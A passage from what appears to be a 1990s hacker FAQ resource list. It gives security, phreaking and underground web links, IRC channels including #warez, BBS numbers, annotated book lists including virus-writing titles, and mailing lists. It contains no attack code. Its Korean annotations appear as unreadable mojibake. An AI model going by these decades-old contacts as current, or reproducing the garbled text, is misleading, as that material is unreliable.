N www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html

N www-ns.rutgers.edu/www-security/index.html (Rutger's documents on WWW security)

U www-personal.engin.umich.edu/~jgotts/underground/boxes.html (Box info)

U www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)

N www-swiss.ai.mit.edu/~bal/pks-toplev.html (Findingsomeone's PGP key)

www.2600.com (2600 Magazine)

N www.8lgm.org (8lgm Security Advisories)

www.aads.net (Ameritech)

N www.access.gpo.gov/su_docs/

N www.aloha.com/~seanw/index.html

www.alw.nih.gov/WWW/security.html (Unix Security)

N www.artcom.de/CCC/hotlist.html (Chaos Computer Club Hotlist)

N www.artech-house.com/artech.html (Artech House)

N www.asg.unb.ca (Atlantic Systems Group Mosaic Index)

www.aspentec.com/~frzmtdb/fun/hacker.html

N www.aston.ac.uk/~bromejt/mobile.html (Mobile Phone Service Locator)

N www.att.com (ATT)

N www.auditel.com (Auditel)

N www.auscert.org.au (Australian CERT)

N www.axent.com/axent (Axent Technologies)

www.ba.com (Bell Atlantic)

N www.bctel.com (BC Tel)

www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)

N www.bell.ca (Bell Canada)

www.bell.com (MFJ Task Force)

www.bellcore.com/SECURITY/security.html (Bellcore Security Products)

N www.border.com (Border Network Technologies)

www.brad.ac.uk/~nasmith/index.html

N www.brad.ac.uk/~nasmith/underground.html (Undergound WWW Sites)

www.bst.bls.com (BellSouth)

N www.bt.co.uk (British Telecom)

N www.business.co.uk/cellnet (Cellnet)

N www.c2.org:80/remail/by-www.html (WWW-based remailing form)

www.c3.lanl.gov/~mcn (Lanl)

www.cam.org/~gagnon (OCP's)

U www.careermosaic.com/cm/uswest (USWest)

N www.castle.net/~kobrien/telecom.html (Telecom)

N www.cco.caltech.edu/~rknop/amiga_pgp26.html

N www.cdt.org/cda.html

N www.cec.wustl.edu/~dmm2/egs/egs.html (En Garde Systems)

www.cert.dfn.de/ (German First Team)

N www.checkpoint.com (Checkpoint)

N www.chem.surrey.ac.uk/~ch11mh/secure.html (Another page on secure WWW server

setup)

N www.cis.ksu.edu/~psiber/fortress/phreak/ph2reak.html (Are You Some Kind Of PHREAK!)

www.cis.ohio-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html

N www.cityscape.co.uk/users/ek80/index.html (Inside Cable Cover)

N www.cohesive.com (Cohesive Systems)

www.commerce.net/information/standards/drafts/shttp.txt (HyperText)

www.con.wesleyan.edu/~triemer/network/docservs.html

www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html

N www.cosc.georgetown.edu/~denning/crypto (The Cryptography Project)

N www.cost.se (COST Computer Security Technologies)

www.cpsr.org/home (CPSR)

N www.crimson.com/isdn/telecomacry.txt (Crimson's Telecommunications Acronyms)

N www.crtc.gc.ca (CRTC - Canadian regulator)

N www.cs.berkeley.edu/~raph/remailer-list.html (Anon remailer list)

U www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (CMU Security)

U www.cs.purdue.edu/coast/coast.html (Coast)

N www.cs.purdue.edu/pcert/pcert.html (PCERT)

N www.cs.tu-bs.de (Network management Tools)

www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)

www.cs.umd.edu/~lgas (Laughing Gas)

N www.cs.umd.edu/~lgas/haquerwerld/haquer-individuals.html(Haquerwerld)

www.csd.harris.com/secure_info.html (Harris)

www.csl.sri.com (SRI Computer Science Lab)

U www.csua.berekeley.edu/pub/cypherpunks/Home.html (Cryptology)

N www.cwi.nl/cwi/people/Jack.Jansen/spunk/cookbook.html

N www.cyber.co.uk/~joyrex (Joyrex Cellular)

www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)

N www.cygnus.com/~gnu/export.html (Cryptography Export Control Archives)

U www.datafellows.fi (Data Fellows (F-Prot)

N www.datasync.com/~sotmesc/sotmesc.html (SotMESC)

N www.dcs.exeter.ac.uk/~aba (Cypherpunk)

www.dct.ac.uk/~misb3cp/2600/faq.txt

N www.demon.co.uk/mobiles (C.C.Mobiles)

N www.dhp.com (DataHaven Project)

N www.dhp.com/~pluvius (Pluvius' Home Page)

U www.digicash.com/ecash/ecash-home.html (Ecash Home Page)

www.digital.com/info/key-secure-index.html (Digital Secure Systems)

www.dnai.com/~gui/index.html

N www.dtic.dla.mil/defenselink (Office of the U.S. Secretary of Defense

(OSD)

N www.dtic.dla.mil/iac (DoD Information Analysis Center (IAC)

Hub Page)

N www.eecs.nwu.edu/~jmyers/bugtraq/about.html

N www.eecs.nwu.edu/~jmyers/bugtraq/archives.html

www.eecs.nwu.edu/~jmyers/bugtraq/index.html (Bugtraq)

www.eecs.nwu.edu/~jmyers/ids/index.html (Intrusion Detection Systems)

N www.eff.org

N www.eff.org/pub/Alerts

N www.eff.org/pub/Net_info/Tools/Crypto/

www.emap.co.uk/partners/racal-airtech (Racal-Airtech)

www.ensta.fr/internet/unix/sys_admin (System administration)

N www.epic.org

N www.ericsson.nl (Ericsson)

www.etext.org/Zines/ (Zines)

N www.farmstead.com (Farmstead)

U www.fbi.gov/fbi/FBI_homepage.html (FBI Homepage)

www.fc.net/defcon (DefCon)

www.fedworld.gov (Federal Government)

www.first.org/first/ (FIRST)

N www.fonorola.net (Fonorola (a Canadian carrier)

N www.frus.com (Firewalls R Us)

www.gbnet.net/kbridge (KarlBridge)

www.getnet.com/crak (CRAK Software)

N www.getnet.com/~vision

N www.gold.net/users/cw78 (FleXtel)

www.greatcircle.com (Great Circle Associates)

N www.gsu.edu/~socrerx/catalog.html

N www.gta.com/index.html (Global Technology Associates)

N www.gti.net/grayarea (Gray Areas)

U www.hotwired.com (Wired Magazine)

www.hpcc.gov/blue94/section.4.6.html (NSA)

N www.hq2.telecom.ie (Telecom Eireann)

N www.iacr.org/~iacr (International Association of Cryptologic

Research (IACR)

N www.ibmpcug.co.uk/~Vidtron (Videotron)

N www.ic.gov (Central Intelligence Agency Home Page)

N www.ifi.uio.no/~staalesc/PGP/home.html

N www.iia.org/~gautier/me.html (Rich Gautier's Home Page)

N www.indirect.com/www/evildawg

www.indirect.com/www/johnk/ (CRAK Software)

N www.ingress.com (Ingress Communications)

N www.interaccess.com/trc/tsa.html

N www.io.org/~djcl/phoneb.html

N www.iquest.net/~oseidler (Oliver Seidler's WWW Page)

N www.itd.nrl.navy.mil/ITD/5540 (NRL Center for High Assurance Computer

Systems)

N www.itu.ch/TELECOM (Telecom '95)

N www.jagunet.com/~john/

N www.jedefense.com/jed.html (Journal of Electronic Defense)

N www.l0pht.com/cdc.html (Cult of the Dead Cow)

N www.l0pht.com/radiophone (Radiophone Archive)

N www.l0pht.com/~oblivion/IIRG.html (International Information Retrieval Guild

Archive Site)

N www.lat.com (Los Altos Technologies)

www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)

N www.lib.iup.edu/~seaman/hack/bone.html (Bone's H/P/C page o' rama)

N www.links.net

N www.louisville.edu/~wrbake01 (The GodZ of CyberSpacE)

www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)

www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)

www.magi.com/~vektor/linenoiz.html

N www.mastercard.com (Secure Electronic Payment Protocol)

www.mcs.com/~candyman/http/radio.html (Radar)

www.mcs.com/~candyman/under.html (Cell)

N www.mcs.net/~candyman (H/P)

www.mgmua.com/hackers/index.html (Hackers, the movie)

N www.milkyway.com (Milkyway Networks Corporation)

N www.mit.edu:8001/people/warlord/pgp-faq.html (PGP 2.6.2 FAQ, Buglist, Fixes, and

Improvements)

N www.monmouth.com/~jshahom (The Insomniac's Home Page)

N www.mot.com (Motorola)

www.mpr.ca/ (MPR Teltech Ltd)

N www.msen.com/~emv/tubed/spoofing.html (Info on IP spoofing attacks)

N www.mwjournal.com/mwj.html (Microwave Journal)

N www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/security.html(Security in Mosaic)

N www.ncsl.nist.gov (NIST Computer Systems Laboratory)

www.net23.com (Max Headroom)

N www.netpart.com (NetPartners)

www.netresponse.com:80/zldf/

N www.nic.surfnet.nl/surfnet/security/cert-nl.html(CERT-NL)

www.nist.gov (NIST)

N www.nokia.com (Nokia)

N www.nortel.com (Northern Telecom)

www.ntt.jp (Nippon Telephone)

N www.nynex.co.uk/nynex (NYNEX)

U www.odci.gov (The CIA)

N www.one2one.co.uk (Mercury One-2-One)

N www.open.gov.uk/oftel/oftelwww/oftelhm.htm (OFTEL's Home Page)

www.openmarket.com/info/cryptography/applied_cryptography.html

www.pacbell.com (Pacific Bell)

N www.panix.com/vtw

www.paranoia.com/astrostar/fringe.html

N www.paranoia.com/hpa (Paranoia's H/P/A Links)

www.paranoia.com/mthreat (ToneLoc)

N www.paranoia.com/~coldfire (Cold Fire's Web Page)

N www.paranoia.com/~darkfox (Darkfox's Home Page)

N www.paranoia.com/~ice9 (Ice-9's Home Page)

www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)

N www.phantom.com/~darkcyde (DarkCyde)

N www.phantom.com/~king (Randy King's WWW Page)

N www.phillips.com (Phillips Electronics)

N www.phred.org (The Phred Networking Organization)

N www.pic.net/uniloc/starlink (Starlink)

www.planet.net/onkeld (BlueBeep Home Page)

www.primenet.com/~kludge/haqr.html (Kludge)

www.quadralay.com/www/Crypt/Crypt.html (Quadralay Cryptography)

www.qualcomm.com/cdma/wireless.html (Qualcomm CDMA)

N www.ramp.com/~lcs/winpgp.html (PGP with MS/Win)

N www.raptor.com (Raptor)

www.raptor.com/raptor/raptor.html (Raptor Network Isolator)

www.research.att.com (AT&T)

N www.rocksoft.com/~ross (Rocksoft Pty (Veracity)

N www.rogers.com (Rogers Communications)

www.rsa.com (RSA Data Security)

N www.sasknet.sk.ca/Pages/sktlhome.html (SaskTel)

www.satelnet.org/~ccappuc

N www.sccsi.com/lsli/lsli.homepage.html (PORTUS)

N www.sctc.com (Secure Computing Corporation)

www.seas.upenn.edu/~rourkem (FakeMail FAQ)

N www.seduction.com

N www.sei.cmu.edu/SEI/programs/cert.html (CERT Coordination Center)

N www.service.com/cm/uswest/usw1.html (USWest)

N www.shore.net/~eskwired/hp.html

N www.soci.niu.edu/~cudigest

N www.somar.com (Somar Software)

N www.soscorp.com (Sources of Supply Corp)

www.spatz.com/pecos/index.html (The World of Hacking)

www.spy.org (Computer Systems Consulting)

N www.spy.org (spy.org)

www.sri.com (SRI)

N www.stentor.ca (Stentor (Canadian telcos)

N www.tecc.co.uk/public/uk-telecom/btns.html (BT "star services")

N www.telecoms-mag.com/tcs.html (Telecommunications agazine)

N www.telkom.co.za (Telkom S.A. Ltd)

www.telstra.com.au/info/security.html (Security Reference Index)

N www.teresa.com

www.tezcat.com/web/security/security_top_level.html

N www.tiac.net/users/triad/philes/jokai.html (Jokai Reservation for the Preservation of the

1st Amendment)

N www.ticllc.net/~scrtnizr

www.tis.com (Trusted Information Systems)

N www.trcone.com/t_crookb.html (CrookBook)

N www.tregistry.com/ttr (Telecomunications Training Courses)

www.tri.sbc.com (Southwestern Bell)

www.tricon.net/Comm/synapse (Synapse Magazine)

www.tufts.edu/~jpagano/

N www.uccs.edu/~abusby/hpawebsites.html

N www.uccs.edu/~abusby/k0p.html (kn0wledge phreak)

www.uci.agh.edu.pl/pub/security (Security)

N www.uknet.net/pnc (The Personal Number Company)

www.umcc.umich.edu/~doug/virus-faq.html (Virus)

N www.underground.org (underground.org)

N www.underground.org/bugs/

www.usfca.edu/crackdown/crack.html (Hacker Crackdown)

N www.vodafone.co.uk (Vodafone)

N www.vptt.ch/natel.html (Natel)

U www.wam.umd.edu/~ankh/public/devil_does_unix

N www.warwick.ac.uk/WWW/search/Phones/nng.html (National Number Group Codes)

N www.well.com/user/abacard

N www.well.com/user/crunch (Captain Crunch)

N www.wfu.edu/~wilsonbd

www.wiltel.com (Wiltel)

N www.wiltel.com/glossary/glossary.html (Telecommunications Glossary)

N www.wired.com (HotWired)

N www2.undernet.org:8080/~cs93jtl/IRC.html (IRC)

In addition to browsing these fine pages, you can often find what you

are looking for by using one of these automated search engines:

www.yahoo.com

www.lycos.com

www.webcrawler.com






ÇØÄ¿¿¡°Ô °ü½É°¡´Â IRC ä³ÎÀº ¹«¾ùÀΰ¡?

#2600

#cellular

#hack

#phreak

#linux

#realhack

#root

#unix

#warez



ÇØÄ¿¿¡°Ô °ü½É°¡´Â BBS´Â ¹«¾ùÀΰ¡?

Rune Stone (203)832-8441 NUP: Cyberdeck

The Truth Sayer's Domain (210)493-9975

Hacker's Haven (303)343-4053

Independent Nation (413)573-1809

Ut0PiA (315)656-5135

underworld_1994.com (514)683-1894

Alliance Communications (612)251-8596

Maas-Neotek (617)855-2923

Apocalypse 2000 (708)676-9855

K0dE Ab0dE (713)579-2276

fARM R0Ad 666 (713)855-0261

kn0wledge Phreak <k0p> BBS (719)578-8288 NUP=NO NUP

N The Edge of Reality (805)496-7460

Static Line (806)747-0802

Area 51 (908)526-4384

N The Drunk Forces +972-3-5733477



ÇØÄ¿¿¡°Ô °ü½É°¡´Â Ã¥Àº ¹«¾ùÀΰ¡?

General Computer Security

~~~~~~~~~~~~~~~~~~~~~~~~~

Computer Security Basics

Author: Deborah Russell and G.T. Gengemi Sr.

Publisher: O'Reilly & Associates, Inc.

Copyright Date: 1991

ISBN: 0-937175-71-4

¶Ù¾î³­ Ã¥ÀÌ´Ù.

¼¼¼¼ÇÑ ºÎºÐÀÌ ºüÁöÁö ¾Ê°í ÀüüÀûÀÎ ÄÄÇ»ÅÍ º¸¾È¿¡ ´ëÇÑ Á¶°¨À» ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù.

Ãʺ¸ º¸¾È Àü¹®°¡¿¡°Ô Çʵ¶¼­ÀÌ´Ù.

Information Systems Security

Author: Philip Fites and Martin Kratz

Publisher: Van Nostrad Reinhold

Copyright Date: 1993

ISBN: 0-442-00180-0

Computer Related Risks

Author: Peter G. Neumann

Publisher: Addison-Wesley

Copyright Date: 1995

ISBN: 0-201-55805-X

Computer Security Management

Author: Karen Forcht

Publisher: boyd & fraser publishing company

Copyright Date: 1994

ISBN: 0-87835-881-1

The Stephen Cobb Complete Book of PC and LAN Security

Author: Stephen Cobb

Publisher: Windcrest Books

Copyright Date: 1992

ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

Security in Computing

Author: Charles P. Pfleeger

Publisher: Prentice Hall

Copyright Date: 1989

ISBN: 0-13-798943-1.

Building a Secure Computer System

Author: Morrie Gasser

Publisher: Van Nostrand Reinhold Co., New York.

Copyright Date:

ISBN: 0-442-23022-2

Modern Methods for Computer Security

Author: Lance Hoffman

Publisher: Prentice Hall

Copyright Date: 1977

ISBN:

Windows NT 3.5 Guidelines for Security, Audit and Control

Author:

Publisher: Microsoft Press

Copyright Date:

ISBN: 1-55615-814-9

Protection and Security on the Information Superhighway

Author: Dr. Frederick B. Cohen)

Publisher: John Wiley & Sons

Copyright Date: 1995

ISBN: 0-471-11389-1

N Commonsense Computer Security

Author: Martin Smith

Publisher: McGraw-Hill

Copyright Date: 1993

ISBN: 0-07-707805-5

N Combatting Computer Crime

Author: Jerry Papke

Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc.

Copyright Date: 1992

ISBN: 0-8306-7664-3

N Computer Crime: a Crimefighters Handbook

Author: David Icove, Karl Seger and William VonStorch

Publisher: O'Reilly & Associates

Copyright Date: 1995

ISBN: 1-56592-086-4

Unix System Security

~~~~~~~~~~~~~~~~~~~~

Practical Unix Security

Author: Simson Garfinkel and Gene Spafford

Publisher: O'Reilly & Associates, Inc.

Copyright Date: 1991

ISBN: 0-937175-72-2

Firewalls and Internet Security

Author: William Cheswick and Steven Bellovin

Publisher: Addison Wesley

Copyright Date: 1994

ISBN: 0-201-63357-4

Unix System Security

Author: Rik Farrow

Publisher: Addison Wesley

Copyright Date: 1991

ISBN: 0-201-57030-0

Unix Security: A Practical Tutorial

Author: N. Derek Arnold

Publisher: McGraw Hill

Copyright Date: 1993

ISBN: 0-07-002560-6

Unix System Security: A Guide for Users and Systems Administrators

Author: David A. Curry

Publisher: Addison-Wesley

Copyright Date: 1992

ISBN: 0-201-56327-4

Unix System Security

Author: Patrick H. Wood and Stephen G. Kochan

Publisher: Hayden Books

Copyright Date: 1985

ISBN: 0-672-48494-3

Unix Security for the Organization

Author: Richard Bryant

Publisher: Sams

Copyright Date: 1994

ISBN: 0-672-30571-2

N Building Internet Firewalls

Author: D. Brent Chapman and Elizabeth D. Zwicky

Publisher: O'Reilly and Associates, Inc.

Copyright Date: 1995

ISBN: 1-56592-124-0

N Unix System Security Essentials

Author: Christopher Braun

Publisher: Addison Wesley

Copyright Date: 1995

ISBN: 0-201-42775-3

N Internet Firewalls and Network Security

Author: Karanjit S. Siyan and Chris Hare

Publisher: New Riders Publishing

Copyright Date: 1995

ISBN: 1-56205-437-6

Network Security

~~~~~~~~~~~~~~~~

Network Security Secrets

Author: David J. Stang and Sylvia Moon

Publisher: IDG Books

Copyright Date: 1993

ISBN: 1-56884-021-7

¿ÏÀü Á¾ÀÌ ³¶ºñ´Â ¾Æ´ÏÁö¸¸, $49.95ÀÇ ±¸ÀÔ°¡°ÝÀº ³Ê¹« ºñ½Î´Ù.

ÀÌ Ã¥Àº ÀÌ¹Ì ÃâÆÇµÈ Á¤º¸¸¦ Àç ¹è¿­ÇÑ °ÍÀÌ´Ù.

ÀÌ Ã¥À» Àо ¾Ë ¼ö ÀÖ´Â À¯ÀÏÇÑ ºñ¹ÐÀº ÀþÀº ¿©ÀÚÀÎ

Sylvia MoonÀÌ David StangÀ̶õ ³ªÀÌµç »ç¶÷À» ¹ÌÄ£ µíÀÌ »ç¶ûÇÑ´Ù´Â °ÍÀÌ´Ù.

Complete Lan Security and Control

Author: Peter Davis

Publisher: Windcrest / McGraw Hill

Copyright Date: 1994

ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security

Author: Steven Shaffer and Alan Simon

Publisher: AP Professional

Copyright Date: 1994

ISBN: 0-12-638010-4

N Network Security: How to Plan For It and How to Achieve It

Author: Richard M. Baker

Publisher: McGraw-Hill, Inc.

Copyright Date:

ISBN: 0-07-005141-0

N Network Security

Author: Steven L. Shaffer and Alan R. Simon

Publisher: Academic Press

Copyright Date: 1994

ISBN: 0-12-638010-4

N Network Security: Private Communications in a Public World

Author: Charlie Kaufman, Radia Perlman and Mike Speciner

Publisher: Prentice Hall

Copyright Date: 1995

ISBN: 0-13-061466-1

N Network and Internetwork Security: Principles and Practice

Author: William Stallings

Publisher: Prentice Hall

Copyright Date: 1995

ISBN: 0-02-415483-0

N Implementing Internet Security

Author: William Stallings

Publisher: New Rider Publishing

Copyright Date: 1995

ISBN: 1-56205-471-6

N Actually Useful Internet Security Techniques

Author: Larry J. Hughes, Jr.

Publisher: New Riders Publishing

Copyright Date: 1995

ISBN: 1-56205-508-9

Cryptology

~~~~~~~~~~~~

Applied Cryptography: Protocols, Algorithms, and Source Code in C

Author: Bruce Schneier

Publisher: John Wiley & Sons

Copyright Date: 1994

ISBN: 0-471-59756-2

Bruce SchneierÀÇ Ã¥ÀÌ ´Ù¸¥ ¸ðÀº ¾ÏÈ£Çп¡ °üÇÑ Ã¥À» ´ëüÇØ ¹ö·È´Ù.

¾ÏÈ£Çп¡ °ü½ÉÀÌ ÀÖ´Ù¸é Çʵ¶¼­ÀÌ´Ù.

¾ÏÈ£Çп¡ °ü·ÃÇؼ­ »ç¾ßÇÒ Ã³À½ÀÌÀÚ ¸¶Áö¸· Ã¥ÀÌ´Ù.

Cryptography and Data Security

Author: Dorothy Denning

Publisher: Addison-Wesley Publishing Co.

Copyright Date: 1982

ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users

Author: William Stallings

Publisher: Prentice-Hall

Copyright Date: 1994

ISBN: 0-13-185596-4

Codebreakers

Author: Kahn

Publisher: Simon and Schuster

Copyright Date:

ISBN:0-02-560460-0

Codebreakers: The Inside Story of Bletchley Park

Author: Francis Harry Hinsley and Alan Stripp

Publisher: Oxford University Press,

Copyright Date: 1993

ISBN:0-19-285304-X

Cryptanalysis, a study of ciphers and their solution

Author: Gaines, Helen Fouche

Publisher: Dover Publications

Copyright Date: 1956

ISBN:

N Computer Privacy Handbook

Author: Andre' Bacard

Publisher: Peachpit Press

Copyright Date: 1995

ISBN: 1-56609-171-3

N E-Mail Security with PGP and PEM

Author: Bruce Schneier

Publisher: John Wiley & Sons

Copyright Date: 1995

ISBN: 0-471-05318-X

N PGP: Pretty Good Privacy

Author: Simson Garfinkel

Publisher: O'Reilly & Associates, Inc.

Copyright Date: 1995

ISBN: 1-56592-098-8

Programmed Threats

~~~~~~~~~~~~~~~~~~

The Little Black Book of Computer Viruses

Author: Mark Ludwig

Publisher: American Eagle Publications

Copyright Date: 1990

ISBN: 0-929408-02-0

N The Giant Black Book of Computer Viruses

Author: Mark Ludwig

Publisher: American Eagle Publications

Copyright Date: 1995

ISBN:

Computer Viruses, Artificial Life and Evolution

Author: Mark Ludwig

Publisher: American Eagle Publications

Copyright Date: 1993

ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other

Threats to Your System

Author: John McAfee and Colin Haynes

Publisher: St. Martin's Press

Copyright Date: 1989

ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground

Author: George Smith

Publisher: American Eagle Publications

Copyright Date: 1994

ISBN: 0-929408-09-8

U A Short Course on Computer Viruses

Author: Dr. Fred Cohen

Publisher: John Wiley & Sons

Copyright Date: 1994

ISBN: 0-471-00769-2

N Robert Slade's Guide to Computer Viruses

Author: Robert Slade

Publisher: Springer-Verlag

Copyright Date: 1994

ISBN: 0-387-94311-0 / 3-540-94311-0

Telephony

~~~~~~~~~

Engineering and Operations in the Bell System

Author: R.F. Rey

Publisher: Bell Telephont Laboratories

Copyright Date: 1983

ISBN: 0-932764-04-5

¾ÆÁÖ ¿À·¡µÈ Ã¥ÀÌÁö¸¸, ÀÌ Ã¥Àº ¾ÆÁ÷µµ telephony¿¡ ´ëÇÑ ±ÇÀ§¼­ÀÌ´Ù.

ÀÌ Ã¥Àº 100% Bell¿¡ °üÇÑ °ÍÀÌ´Ù. ±×¸®°í Àü¼¼°è phreaker¿¡°Ô »ç¶û¹Þ´Â´Ù.

Telephony: Today and Tomorrow

Author: Dimitris N. Chorafas

Publisher: Prentice-Hall

Copyright Date: 1984

ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary

Author: Ahmed S. Khan

Publisher: Delmar Publishers, Inc.

Copyright Date: 1992

ISBN: 0-8273-4615-8

ÀÌ »çÀüÀº telephony¿¡ °üÇؼ­ ¶Ù¾î³­ °ÍÀÌ´Ù.

±×¸®°í ÀÌ ºÐ¾ßÀÇ ±íÀº °ü½ÉÀÌ ÀÖ´Â »ç¶÷¿¡°Ô ±ÇÇÏ°í ½Í´Ù.

Tandy/Radio Shack Cellular Hardware

Author: Judas Gerard and Damien Thorn

Publisher: Phoenix Rising Communications

Copyright Date: 1994

ISBN:

The Phone Book

Author: Carl Oppendahl

Publisher: Consumer Reports

Copyright Date:

ISBN: 0-89043-364-x

Listing of every cellular ID in the us, plus roaming ports,

and info numbers for each carrier.

Principles of Caller I.D.

Author:

Publisher: International MicroPower Corp.

Copyright Date:

ISBN:

Hacking History and Culture

~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Hacker Crackdown: Law and Disorder on the Electronic Frontier

Author: Bruce Sterling

Publisher: Bantam Books

Copyright Date: 1982

ISBN: 0-553-56370-X

Bruce SterlingÀÌ ÃÖ±Ù ÀÌ Ã¥À» ³×Æ®¿öÅ©¿¡ ¹«·á·Î ¹èÆ÷Çß´Ù.

ÀÌ Ã¥Àº ÀμâµÈ ÇüÅ·ΠÀбⰡ ´õ ½±°í, ÆÛÀÌÆÛ¹éÀÌ °Ü¿ì $5.99ÀÌ´Ù.

¾î¶»°Ô Àеç Àоú´Ù´Â °Í¿¡ ´ëÇØ ¸¸Á·ÇÒ °ÍÀÌ´Ù.

Sterling¾¾´Â ¶Ù¾î³­ °ø»ó°úÇмҼ³ ÀÛ°¡À̸ç,

ÇØÅ· ¹®È­¿¡¼­ »ç¿ëÇÏ´Â ´Ü¾î¿¡ Àç´ÉÀ» º¸¿´´Ù.

¸Å¿ì Áñ°Å¿î µ¶¼­ °æÇèÀÌ´Ù.

Cyberpunk

Author: Katie Hafner and John Markoff

Publisher: Simon and Schuster

Copyright Date: 1991

ISBN: 0-671-77879-X

The Cuckoo's Egg

Author: Cliff Stoll

Publisher: Simon and Schuster

Copyright Date: 1989

ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution

Author: Steven Levy

Publisher: Doubleday

Copyright Date: 1984

ISBN: 0-440-13495-6

Unclassified

~~~~~~~~~~~~

The Hacker's Handbook

Author: Hugo Cornwall

Publisher: E. Arthur Brown Company

Copyright Date:

ISBN: 0-912579-06-4

Secrets of a Super Hacker

Author: The Knightmare

Publisher: Loompanics

Copyright Date: 1994

ISBN: 1-55950-106-5

The Knightmare´Â ¼öÆÛ ÇØÄ¿°¡ ¾Æ´Ï´Ù. ÀÌ Ã¥¿¡´Â Å©°Ô µµ¿òÀÌ µÉ ³»¿ëÀÌ ¾ø´Ù.

he Knightmare´Â ¾²·¹±â ¹ö¸®·¯ °¥ ¶§´Â ¿ÊÀ» Â÷·ÁÀÔÀ» ÇÊ¿ä°¡ ¾ø´Ù´Â À¯¿ëÇÑ Ãæ°í¸¦ ÇÏ°í ÀÖ´Ù. The KnightmareÀÇ °¡Àå ¶Ù¾î³­ ÇØÅ·Àº Loompanics¿¡¼­ ÀÌÃ¥À» ÃâÆÇÇϵµ·Ï ÇÑ °ÍÀÌ´Ù.

The Day The Phones Stopped

Author: Leonard Lee

Publisher: Primus / Donald I Fine, Inc.

Copyright Date: 1992

ISBN: 1-55611-286-6

¿ÏÀü ¾²·¹±âÀÌ´Ù. ¹ÌÄ¡±¤ÀÌÀÇ Á¤½Å¹ßÀÛÀÌ´Ù.

Enquirer ÀâÁöÀÇ µ¥ÀÌÅͺ¸´Ù ´õ ºñ»ç½ÇÀûÀÌ´Ù.

Information Warfare

Author: Winn Swartau

Publisher: Thunder Mountain Press

Copyright Date: 1994

ISBN: 1-56025-080-1

ÀüÀÚ Á¤º¸ÀüÀÇ ±â¼ú°ú Àåºñ¿¡ ´ëÇÑ Àß ¼³¸íµÈ Çؼ³¼­

Author: Doug Richardson

Publisher: Salamander Press

Copyright Date:

ISBN: 0-668-06497-8



ÇØÄ¿¿¡°Ô °ü½É°¡´Â ºñµð¿À´Â ¹«¾ùÀΰ¡?

'Unauthorized Access' by Annaliza Savage

$25 on VH S format in 38-min

Savage Productions

1803 Mission St., #406

Santa Cruz, CA 95060

Hacker's '95 - a Phon-E & R.F. Burns Production

See the video Emmanuel Goldstein thought would have the Feds knocking

at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y

fiasco at Summercon PMF (narc) interviews Emmanuel Goldstein & Eric

BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the

Secret Service briefing on Operation Cyber Snare (recent cell busts)

Talks on Crypto, HERF, the Feds, etc. All information is presented

for educational purposes only. Not for sale to government or law

enforcement organizations. Running time aproximately 90 minutes.

$25.00 NTSC VHS

$35.00 PAL/Secam VHS

Custom Video Productions

(908)842-6378

[email protected]



ÇØÄ¿¿¡°Ô °ü½É°¡´Â ¸ÞÀϸµ ¸®½ºÆ®´Â ¹«¾ùÀΰ¡?

Academic Firewalls

Registration Address: Send a message to [email protected]

containing the line "subscribe firewalls user@host"

N The Alert

Registration Address: Send a message to [email protected]

containing the line "subscribe alert"

Bugtraq

Reflector Address: [email protected]

Registration Address: [email protected]

Cert Tools

Reflector Address: [email protected]

Registration Address: [email protected]

Computers and Society

Reflector Address: [email protected]

Registration Address: [email protected]

Coordinated Feasibility Effort to Unravel State Data

Reflector Address: [email protected]

Registration Address:

CPSR Announcement List

Reflector Address: [email protected]

Registration Address:

CPSR - Intellectual Property

Reflector Address: [email protected]

Registration Address:

CPSR - Internet Library

Reflector Address: [email protected]

Registration Address:

N Cypherpunks

Registration Address: Send a message to [email protected]

containing the line "subscribe cypherpunks"

DefCon Announcement List

Registration Address: Send a message to [email protected] containing

the line "subscribe dc-announce"

DefCon Chat List

Registration Address: Send a message to [email protected] containing

the line "subscribe dc-stuff"

N Discount Long Distance Digest

Registration Address: Send a message to: [email protected]

containing the line "subscribe"

Electronic Payment

Registration Address: [email protected]

IDS (Intruder Detection Systems)

Registration Address: Send a message to [email protected]

containing the line "subscribe ids"

N Information Warfare

Registration Address: E-mail [email protected] with a request to be added.

N Linux-Alert

Registration Address: [email protected]

N Linux-Security

Registration Address: [email protected]

Macintosh Security

Reflector Address: [email protected]

Registration Address: [email protected]

NeXT Managers

Registration Address: [email protected]

PGP3 announcement list

Registration Address: [email protected]

Subject: Your Name <user@host>

Body: *ignored*

Phiber-Scream

Registration Address: Send a message to [email protected]

containing the line "subscribe phiber-scream user@host"

phruwt-l (Macintosh H/P)

Registration Address: Send a message to [email protected]

with the subject "phruwt-l"

rfc931-users

Reflector Address: [email protected]

Registration Address: [email protected]

RSA Users

Reflector Address: [email protected]

Registration Address: [email protected]

WWW Security

Registration Address: [email protected]


ÇØÄ¿¿¡°Ô °ü½É°¡´Â ÃâÆǹ°Àº ¹«¾ùÀΰ¡?

2600 - The Hacker Quarterly

~~~~~~~~~~~~~~~~~~~~~~~~~~~

E-mail addresses: [email protected] - to get info on 2600

[email protected] - to get a copy of our index

[email protected] - for info on starting your own meeting

[email protected] -- for subscription problems

[email protected] -- to send us a letter

[email protected] -- to send us an article

